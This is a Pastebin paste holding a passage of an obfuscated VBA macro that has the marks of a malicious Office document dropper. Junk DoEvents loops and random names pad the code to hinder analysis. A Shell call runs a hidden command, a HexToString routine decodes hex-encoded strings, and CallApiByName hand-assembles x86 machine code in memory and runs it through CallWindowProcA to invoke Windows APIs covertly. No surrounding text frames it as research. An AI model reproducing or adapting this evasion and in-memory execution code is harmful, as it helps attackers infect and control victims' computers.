  1022. Loop
  1023.  
  1024.  
  1025. Dim PlZJtWFF As Integer
  1026. PlZJtWFF = 1
  1027. Do While PlZJtWFF < 37
  1028. DoEvents: PlZJtWFF = PlZJtWFF + 1
  1029. Loop
  1030.  
  1031. Loop
  1032.  
  1033.  
  1034. Dim aPUdShSw As Integer
  1035.  
  1036. Dim PgMbroZH As Integer
  1037. PgMbroZH = 8
  1038. Do While PgMbroZH < 13
  1039. DoEvents: PgMbroZH = PgMbroZH + 1
  1040. Loop
  1041.  
  1042. aPUdShSw = 1
  1043. Do While aPUdShSw < 98
  1044.  
  1045. Dim gKlcJLcN As Integer
  1046. gKlcJLcN = 4
  1047. Do While gKlcJLcN < 82
  1048. DoEvents: gKlcJLcN = gKlcJLcN + 1
  1049. Loop
  1050.  
  1051. DoEvents: aPUdShSw = aPUdShSw + 1
  1052.  
  1053. Dim hIqqeHPz As Integer
  1054. hIqqeHPz = 4
  1055. Do While hIqqeHPz < 38
  1056. DoEvents: hIqqeHPz = hIqqeHPz + 1
  1057. Loop
  1058.  
  1059. Loop
  1060.  
  1061.  
  1062. Dim YHEPQlxP As Integer
  1063. YHEPQlxP = 7
  1064. Do While YHEPQlxP < 59
  1065. DoEvents: YHEPQlxP = YHEPQlxP + 1
  1066. Loop
  1067.  
  1068.     gffUYUdfg = Shell(xTysdfsdf, 1)
  1069.  
  1070. End Sub
  1071.  
  1072. Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
  1073. On Error Resume Next
  1074.     Dim qfzpguEnn                As Long
  1075.     Dim MoJQl(&HEC00& - 1)  As Byte
  1076.     Dim kVazolfxuRnLRN                   As Long
  1077.     Dim drMOYicFVoIcVLr                As Long
  1078.    
  1079.     drMOYicFVoIcVLr = GetProcAddress(LoadLibraryA(sLib), sMod)
  1080.     If drMOYicFVoIcVLr = 0 Then Exit Function
  1081.    
  1082.     qfzpguEnn = VarPtr(MoJQl(0))
  1083.     RtlMoveMemory ByVal qfzpguEnn, &H59595958, &H4:              qfzpguEnn = qfzpguEnn + 4
  1084.     RtlMoveMemory ByVal qfzpguEnn, &H5059, &H2:                  qfzpguEnn = qfzpguEnn + 2
  1085.     For kVazolfxuRnLRN = UBound(Params) To 0 Step -1
  1086.         RtlMoveMemory ByVal qfzpguEnn, &H68, &H1:                qfzpguEnn = qfzpguEnn + 1
  1087.         RtlMoveMemory ByVal qfzpguEnn, CLng(Params(kVazolfxuRnLRN)), &H4:     qfzpguEnn = qfzpguEnn + 4
  1088.     Next
  1089.     RtlMoveMemory ByVal qfzpguEnn, &HE8, &H1:                    qfzpguEnn = qfzpguEnn + 1
  1090.     RtlMoveMemory ByVal qfzpguEnn, drMOYicFVoIcVLr - qfzpguEnn - 4, &H4:         qfzpguEnn = qfzpguEnn + 4
  1091.     RtlMoveMemory ByVal qfzpguEnn, &HC3, &H1:                    qfzpguEnn = qfzpguEnn + 1
  1092.     CallApiByName = CallWindowProcA(VarPtr(MoJQl(0)), 0, 0, 0, 0)
  1093.    
  1094. End Function
  1095.  
  1096.  
  1097.  
  1098. Public Function HexToString(ByVal fdgfdg As String) As String
  1099.  
  1100. Dim saXhzQRf As Integer
  1101.  
  1102. Dim AsaWEeJQ As Integer
  1103. AsaWEeJQ = 9
  1104. Do While AsaWEeJQ < 95
  1105. DoEvents: AsaWEeJQ = AsaWEeJQ + 1
  1106. Loop
  1107.  
  1108. saXhzQRf = 6
  1109. Do While saXhzQRf < 63
  1110.  
  1111. Dim uEwhEcvl As Integer
  1112. uEwhEcvl = 5
  1113. Do While uEwhEcvl < 58
  1114. DoEvents: uEwhEcvl = uEwhEcvl + 1
  1115. Loop
  1116.  
  1117. DoEvents: saXhzQRf = saXhzQRf + 1
  1118.  
  1119. Dim qigHUldm As Integer
  1120. qigHUldm = 6
  1121. Do While qigHUldm < 92
  1122. DoEvents: qigHUldm = qigHUldm + 1
  1123. Loop
  1124.  
  1125. Loop
  1126.  
  1127.  
  1128. Dim qoszHkCE As Integer
  1129. qoszHkCE = 6
  1130. Do While qoszHkCE < 36
  1131. DoEvents: qoszHkCE = qoszHkCE + 1
  1132. Loop
  1133.  
  1134.    
  1135. For y = 1 To Len(fdgfdg)
  1136.  
  1137. Dim tFnNYKOY As Integer
  1138.  
  1139. Dim HcNVlSAv As Integer
  1140. HcNVlSAv = 2
  1141. Do While HcNVlSAv < 88
  1142. DoEvents: HcNVlSAv = HcNVlSAv + 1
  1143. Loop
  1144.  
  1145. tFnNYKOY = 5
  1146. Do While tFnNYKOY < 51
  1147.  
  1148. Dim rLybywOl As Integer
  1149. rLybywOl = 5
  1150. Do While rLybywOl < 23
  1151. DoEvents: rLybywOl = rLybywOl + 1
  1152. Loop
  1153.  
  1154. DoEvents: tFnNYKOY = tFnNYKOY + 1
  1155.  
  1156. Dim icNaqkcw As Integer
  1157. icNaqkcw = 5
  1158. Do While icNaqkcw < 67
  1159. DoEvents: icNaqkcw = icNaqkcw + 1
  1160. Loop
  1161.  
  1162. Loop
  1163.  
  1164.  
  1165. Dim ollADlmP As Integer
  1166. ollADlmP = 6
  1167. Do While ollADlmP < 66
  1168. DoEvents: ollADlmP = ollADlmP + 1
  1169. Loop
  1170.  
  1171.     ytrefgdg = Mid(fdgfdg, y, 2)
  1172.  
  1173. Dim asALdhkZ As Integer
  1174.  
  1175. Dim FFAMiPFk As Integer
  1176. FFAMiPFk = 2
  1177. Do While FFAMiPFk < 58
  1178. DoEvents: FFAMiPFk = FFAMiPFk + 1
  1179. Loop
  1180.  
  1181. asALdhkZ = 4
  1182. Do While asALdhkZ < 16
  1183.  
  1184. Dim FPMwPPQY As Integer
  1185. FPMwPPQY = 2
  1186. Do While FPMwPPQY < 67
  1187. DoEvents: FPMwPPQY = FPMwPPQY + 1
  1188. Loop
  1189.  
  1190. DoEvents: asALdhkZ = asALdhkZ + 1
  1191.  
  1192. Dim KgDXGYbO As Integer
  1193. KgDXGYbO = 3
  1194. Do While KgDXGYbO < 35
  1195. DoEvents: KgDXGYbO = KgDXGYbO + 1
  1196. Loop
  1197.  
  1198. Loop
  1199.  
  1200.  
  1201. Dim lteFyztg As Integer
  1202. lteFyztg = 7
  1203. Do While lteFyztg < 84
  1204. DoEvents: lteFyztg = lteFyztg + 1
  1205. Loop
  1206.  
  1207.     ortvcvsdf = ortvcvsdf & Chr(Val("&h" & ytrefgdg))
  1208.  
  1209. Dim tHmmjsyR As Integer
  1210.  
  1211. Dim QavyhQdk As Integer
  1212. QavyhQdk = 2
  1213. Do While QavyhQdk < 75
  1214. DoEvents: QavyhQdk = QavyhQdk + 1
  1215. Loop
  1216.  
  1217. tHmmjsyR = 5
  1218. Do While tHmmjsyR < 51
  1219.  
  1220. Dim mNZFTaPL As Integer
  1221. mNZFTaPL = 8
  1222. Do While mNZFTaPL < 54
  1223. DoEvents: mNZFTaPL = mNZFTaPL + 1
  1224. Loop
  1225.  
  1226. DoEvents: tHmmjsyR = tHmmjsyR + 1
  1227.  
  1228. Dim SBRTfOXU As Integer
  1229. SBRTfOXU = 2
  1230. Do While SBRTfOXU < 23
  1231. DoEvents: SBRTfOXU = SBRTfOXU + 1
  1232. Loop
  1233.  
  1234. Loop
  1235.  
  1236.  
  1237. Dim fHMcRtAd As Integer
  1238. fHMcRtAd = 6
  1239. Do While fHMcRtAd < 71
  1240. DoEvents: fHMcRtAd = fHMcRtAd + 1
  1241. Loop
  1242.  
  1243.     y = y + 1
  1244. Next y
  1245.  
  1246.  
  1247. Dim UbhGGPXv As Integer
  1248.  
  1249. Dim WxlBeZYY As Integer
  1250. WxlBeZYY = 3
  1251. Do While WxlBeZYY < 75
  1252. DoEvents: WxlBeZYY = WxlBeZYY + 1
  1253. Loop
  1254.  
  1255. UbhGGPXv = 1
  1256. Do While UbhGGPXv < 79
  1257.  
  1258. Dim EwcYkKro As Integer
  1259. EwcYkKro = 9
  1260. Do While EwcYkKro < 68
  1261. DoEvents: EwcYkKro = EwcYkKro + 1
  1262. Loop
  1263.  
  1264. DoEvents: UbhGGPXv = UbhGGPXv + 1
  1265.  
  1266. Dim oHIFEsDI As Integer
  1267. oHIFEsDI = 6
  1268. Do While oHIFEsDI < 61
  1269. DoEvents: oHIFEsDI = oHIFEsDI + 1
  1270. Loop
  1271.  
  1272. Loop
  1273.  
  1274.  
  1275. Dim KGDxLZpp As Integer
  1276. KGDxLZpp = 3
  1277. Do While KGDxLZpp < 31
  1278. DoEvents: KGDxLZpp = KGDxLZpp + 1
  1279. Loop
  1280.  
  1281. HexToString = ortvcvsdf
  1282. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top